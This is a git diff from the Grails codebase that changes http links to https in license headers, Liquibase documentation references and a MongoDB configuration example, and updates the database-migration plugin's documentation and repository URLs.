diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_sv.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_sv.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_th.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_th.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_zh_CN.properties b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-data-graphql/examples/grails-test-app/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-graphql/gradle.properties b/grails-data-graphql/gradle.properties
index da3818dd2e..f640df81f2 100644
--- a/grails-data-graphql/gradle.properties
+++ b/grails-data-graphql/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-hibernate5/dbmigration/src/main/groovy/org/grails/plugins/databasemigration/DatabaseMigrationGrailsPlugin.groovy b/grails-data-hibernate5/dbmigration/src/main/groovy/org/grails/plugins/databasemigration/DatabaseMigrationGrailsPlugin.groovy
index 771ed86765..26160dd408 100644
--- a/grails-data-hibernate5/dbmigration/src/main/groovy/org/grails/plugins/databasemigration/DatabaseMigrationGrailsPlugin.groovy
+++ b/grails-data-hibernate5/dbmigration/src/main/groovy/org/grails/plugins/databasemigration/DatabaseMigrationGrailsPlugin.groovy
@@ -40,11 +40,10 @@ class DatabaseMigrationGrailsPlugin extends Plugin {
 
     def title = "Grails Database Migration Plugin" // Headline display name of the plugin
     def author = "Kazuki YAMAMOTO"
-    def authorEmail = ""
     def description = 'Grails Database Migration Plugin'
-    def documentation = "http://grails.org/plugin/database-migration"
+    def documentation = "https://docs.grails.org"
     def license = "APACHE"
-    def scm = [url: "https://github.com/grails-plugins/grails-database-migration"]
+    def scm = [url: "https://github.com/apache/grails-core"]
 
     @Override
     Closure doWithSpring() {
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/configuration.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/configuration.adoc
index 6c022e4a32..7c2f097fb9 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/configuration.adoc
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/configuration.adoc
@@ -27,14 +27,14 @@ There are a few configuration options for the plugin. All configurations are pre
 |changelogLocation |`grails-app/migrations` |the folder containing the main changelog file (which can include one or more other files)
 |changelogFileName |`changelog.groovy` |the name of the main changelog file
 |changelogProperties |none |a map of properties to use for property substitution in Groovy DSL changelogs
-|contexts |none |A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
+|contexts |none |A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
 |dbDocLocation |`target/dbdoc` |the directory where the output from the <<ref-documentation-scripts-dbm-db-doc,dbm-db-doc>> script is written
 |dbDocController.enabled |`true` in dev mode |whether the /dbdoc/ url is accessible at runtime
 |dropOnStart |`false` |if `true` then drops all tables before auto-running migrations (if updateOnStart is true)
 |updateOnStart |`false` |if `true` then changesets from the specified list of names will be run at startup
 |updateOnStartFileName |none |the file name (relative to `changelogLocation`) to run at startup if `updateOnStart` is `true`
 |updateOnStartDefaultSchema |none |the default schema to use when running auto-migrate on start
-|updateOnStartContexts |none |A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
+|updateOnStartContexts |none |A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
 |updateAllOnStart |false |if `true` then changesets from the specified list of names will be run at startup for all dataSources. Useful for Grails Multitenancy with Multiple Databases (same db schema)
 |autoMigrateScripts |['RunApp'] |the scripts when running auto-migrate. Useful to run auto-migrate during test phase with: ['RunApp', 'TestApp']
 |excludeObjects |none |A comma-delimited list of database object names to ignore while performing a dbm-gorm-diff or dbm-generate-gorm-changelog
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/groovyChanges.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/groovyChanges.adoc
index 63cef1ea11..ad3b0a1cd9 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/groovyChanges.adoc
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/groovyChanges.adoc
@@ -19,7 +19,7 @@ under the License.
 
 === Groovy Changes
 
-In addition to the built-in Liquibase changes (see http://www.liquibase.org/manual/home[the documentation] for what's available) you can also make database changes using Groovy code (as long as you're using the Groovy DSL file format). These changes use the `grailsChange` tag name and are contained in a `changeSet` tag like standard built-in tags.
+In addition to the built-in Liquibase changes (see https://www.liquibase.org/manual/home[the documentation] for what's available) you can also make database changes using Groovy code (as long as you're using the Groovy DSL file format). These changes use the `grailsChange` tag name and are contained in a `changeSet` tag like standard built-in tags.
 
 There are four supported inner tags and two callable methods (to override the default confirmation message and checksum value).
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/groovyPreconditions.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/groovyPreconditions.adoc
index b1cf087f24..197c8a53db 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/groovyPreconditions.adoc
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/groovyPreconditions.adoc
@@ -19,7 +19,7 @@ under the License.
 
 === Groovy Preconditions
 
-In addition to the built-in Liquibase preconditions (see http://www.liquibase.org/manual/preconditions[the documentation] for what's available) you can also specify preconditions using Groovy code (as long as you're using the Groovy DSL file format). These changes use the `grailsPrecondition` tag name and are contained in the `databaseChangeLog` tag or in a `changeSet` tag like standard built-in tags.
+In addition to the built-in Liquibase preconditions (see https://www.liquibase.org/manual/preconditions[the documentation] for what's available) you can also specify preconditions using Groovy code (as long as you're using the Groovy DSL file format). These changes use the `grailsPrecondition` tag name and are contained in the `databaseChangeLog` tag or in a `changeSet` tag like standard built-in tags.
 
 ==== General format
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/introduction.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/introduction.adoc
index 86020cd09d..c34d4e78d2 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/introduction.adoc
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/introduction.adoc
@@ -19,7 +19,7 @@ under the License.
 
 === Introduction
 
-The Database Migration plugin helps you manage database changes while developing Grails applications. The plugin uses the http://www.liquibase.org/[Liquibase] library.
+The Database Migration plugin helps you manage database changes while developing Grails applications. The plugin uses the https://www.liquibase.org/[Liquibase] library.
 
 Using this plugin (and Liquibase in general) adds some structure and process to managing database changes. It will help avoid inconsistencies, communication issues, and other problems with ad-hoc approaches.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Documentation Scripts/dbm-db-doc.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Documentation Scripts/dbm-db-doc.adoc
index 70432449ff..519016e839 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Documentation Scripts/dbm-db-doc.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Documentation Scripts/dbm-db-doc.adoc	
@@ -38,7 +38,7 @@ Required arguments: _none_ .
 Optional arguments:
 
 * `destination` - The path to write to
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
 NOTE: Note that the `contexts` and `dataSource` parameter name and value must be quoted if executed in Windows, e.g.
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-changelog-sync-sql.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-changelog-sync-sql.adoc
index b420bb0ea1..eff35d72cb 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-changelog-sync-sql.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-changelog-sync-sql.adoc	
@@ -38,7 +38,7 @@ Required arguments: __none__.
 Optional arguments:
 
 * `filename` - The path to the output file to write to. If not specified output is written to the console
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-changelog-sync.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-changelog-sync.adoc
index d01ac50af1..09747f8ff8 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-changelog-sync.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-changelog-sync.adoc	
@@ -37,7 +37,7 @@ Required arguments: __none__.
 
 Optional arguments:
 
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
 * `defaultSchema` - The default schema name to use
 * `dataSource` - If provided will run the script for the specified dataSource. Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-mark-next-changeset-ran.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-mark-next-changeset-ran.adoc
index 92c9e5e924..330c23e333 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-mark-next-changeset-ran.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-mark-next-changeset-ran.adoc	
@@ -38,7 +38,7 @@ Required arguments: __none__.
 Optional arguments:
 
 * `filename` - The path to the output file to write to
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-status.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-status.adoc
index ea161d69c2..2e6b1bbbc8 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-status.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Maintenance Scripts/dbm-status.adoc	
@@ -37,7 +37,7 @@ Optional arguments:
 
 * `filename` - The path to the output file to write to. If not specified output is written to the console
 * `verbose` - If `true` (the default) the changesets are listed; if `false` only the count is displayed
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-future-rollback-sql.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-future-rollback-sql.adoc
index f8cad41095..1f2b4af1fa 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-future-rollback-sql.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-future-rollback-sql.adoc	
@@ -36,7 +36,7 @@ Required arguments: _none_ .
 Optional arguments:
 
 * `filename` - The path to the output file to write to. If not specified output is written to the console
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-generate-changelog.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-generate-changelog.adoc
index fad29777c5..713df5144b 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-generate-changelog.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-generate-changelog.adoc	
@@ -42,7 +42,7 @@ Required arguments: _none_ .
 Optional arguments:
 
 * `filename` - The path to the output file to write to. If not specified output is written to the console
-* `diffTypes` - A comma-delimited list of change types to include - see http://www.liquibase.org/manual/diff#controlling_checks_since_1.8[the documentation] for what types are available
+* `diffTypes` - A comma-delimited list of change types to include - see https://www.liquibase.org/manual/diff#controlling_checks_since_1.8[the documentation] for what types are available
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 * `add` - if specified add an include in the root changelog file referencing the new file
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-count-sql.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-count-sql.adoc
index a43305cc85..f922cc0382 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-count-sql.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-count-sql.adoc	
@@ -39,7 +39,7 @@ Required arguments:
 Optional arguments:
 
 * `filename` - The path to the output file to write to. If not specified output is written to the console
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-count.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-count.adoc
index 2dcf1ef35b..034962620f 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-count.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-count.adoc	
@@ -38,7 +38,7 @@ Required arguments:
 
 Optional arguments:
 
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-sql.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-sql.adoc
index 80fd0e1ab7..c8fb392c52 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-sql.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-sql.adoc	
@@ -40,7 +40,7 @@ Required arguments:
 Optional arguments:
 
 * `filename` - The path to the output file to write to. If not specified output is written to the console
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-to-date-sql.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-to-date-sql.adoc
index ba498f2f1e..3083d8d33a 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-to-date-sql.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-to-date-sql.adoc	
@@ -41,7 +41,7 @@ Optional arguments:
 
 * `time` - The rollback time
 * `filename` - The path to the output file to write to. If not specified output is written to the console
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-to-date.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-to-date.adoc
index b115237bfd..1860a3538b 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-to-date.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback-to-date.adoc	
@@ -40,7 +40,7 @@ Required arguments:
 Optional arguments:
 
 * `time` - The rollback time
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be included
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback.adoc
index 07869dcbe8..b134cdaa12 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Rollback Scripts/dbm-rollback.adoc	
@@ -39,7 +39,7 @@ Required arguments:
 
 Optional arguments:
 
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-previous-changeset-sql.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-previous-changeset-sql.adoc
index 03d506d08f..f1f7d04072 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-previous-changeset-sql.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-previous-changeset-sql.adoc	
@@ -41,7 +41,7 @@ Optional arguments:
 
 * `filename` - The path to the output file to write to. If not specified output is written to the console
 * `skip` - The number of changesets to skip if you want to exclude recent ones
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
 * `defaultSchema` - The default schema name to use
 
 NOTE: Note that the `contexts` and `defaultSchema` parameter name and value must be quoted if executed in Windows, e.g.
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-count-sql.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-count-sql.adoc
index 32b82237cc..b3fdd0ac3a 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-count-sql.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-count-sql.adoc	
@@ -42,7 +42,7 @@ Required arguments:
 Optional arguments:
 
 * `filename` - The path to the output file to write to. If not specified output is written to the console
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-count.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-count.adoc
index d8b039ab0b..ba26395c0e 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-count.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-count.adoc	
@@ -39,7 +39,7 @@ Required arguments:
 
 Optional arguments:
 
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-sql.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-sql.adoc
index bd528ca818..cdfb2280db 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-sql.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update-sql.adoc	
@@ -40,7 +40,7 @@ Required arguments: _none_ .
 Optional arguments:
 
 * `filename` - The path to the output file to write to. If not specified output is written to the console
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update.adoc b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update.adoc
index d2a9fb5dfe..4ee55feefc 100644
--- a/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update.adoc	
+++ b/grails-data-hibernate5/docs/src/docs/asciidoc/databaseMigration/ref/Update Scripts/dbm-update.adoc	
@@ -37,7 +37,7 @@ Required arguments: _none_ .
 
 Optional arguments:
 
-* `contexts` - A comma-delimited list of http://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
+* `contexts` - A comma-delimited list of https://www.liquibase.org/manual/contexts[context] names. If specified, only changesets tagged with one of the context names will be run
 * `defaultSchema` - The default schema name to use
 * `dataSource` - if provided will run the script for the specified dataSource.  Not needed for the default dataSource.
 
diff --git a/grails-data-mongodb/docs/src/docs/asciidoc/gettingStarted/outsideGrails.adoc b/grails-data-mongodb/docs/src/docs/asciidoc/gettingStarted/outsideGrails.adoc
index 2f838120b4..cae7a5af2f 100644
--- a/grails-data-mongodb/docs/src/docs/asciidoc/gettingStarted/outsideGrails.adoc
+++ b/grails-data-mongodb/docs/src/docs/asciidoc/gettingStarted/outsideGrails.adoc
@@ -48,7 +48,7 @@ For configuration you can either pass a map or an instance of the `org.springfra
 
 [source,groovy]
 ----
-def initializer = new MongoDatastore(['grails.mongodb.url':'http://myserver'], Person)
+def initializer = new MongoDatastore(['grails.mongodb.url':'https://myserver'], Person)
 
 println Person.count()
 ----
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/gradle.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/gradle.properties
index 577d09fd84..7e47c128dc 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/gradle.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages.properties
index 09d392c881..d71a1fc5cb 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_cs_CZ.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
